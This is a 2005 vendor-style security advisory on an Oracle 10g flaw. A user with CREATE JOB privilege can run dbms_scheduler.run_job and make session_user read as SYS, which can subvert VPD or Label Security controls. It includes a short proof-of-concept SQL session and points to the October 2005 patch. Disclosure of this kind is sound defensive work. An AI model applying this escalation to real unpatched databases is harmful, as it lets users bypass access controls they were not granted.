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DBMS_SCHEDULER SESSION_USER issue in Oracle 10g

Name DBMS_SCHEDULER SESSION_USER issue in Oracle 10g
Systems Affected Oracle 10g
Severity Medium Risk
Category Switch Oracle Username to user SYS
Vendor URL http://www.oracle.com/
Credit Oracle Metalink Forum 633336.995
Exploit Forum Entry removed by Oracle
Date 07 May 2005 (V 1.02)
VU# 176909

Details

The following proof of concept exploit code (from Metalink) allows any user with CREATE JOB privileges to switch the session_user to SYS. This statement is often used together with VPD (Virtual Private Database) or OLS (Oracle Label Security) and could allow privilege escalation. The old deprecated current_user shows the right user.

Example
Connect as a user with CREATE job privilege

SQL> select user from dual;

USER
---------
JOBUSER

SQL> execute dbms_scheduler.run_job('ANY_JOB');

PL/SQL procedure successfully completed.

SQL> select user from dual;

USER
---------
SYS

SQL> select (sys_context('userenv','session_user')) from dual;

USER
---------
SYS

SQL> select (sys_context('userenv','current_user')) from dual;

USER
---------
JOBUSER

SQL> show user

USER is "jobuser"



Patch Information
Apply the patches for Oracle Critical Patch Update October 2005.


History
05-may-2005 US CERT VU# added (V1.01)
07-may-2005 Oracle removed the forum entry from Metalink (V1.02)
18-oct-2005 Oracle released CPU October 2005



2005 by Red-Database-Security GmbH - last update 02-nov-2005

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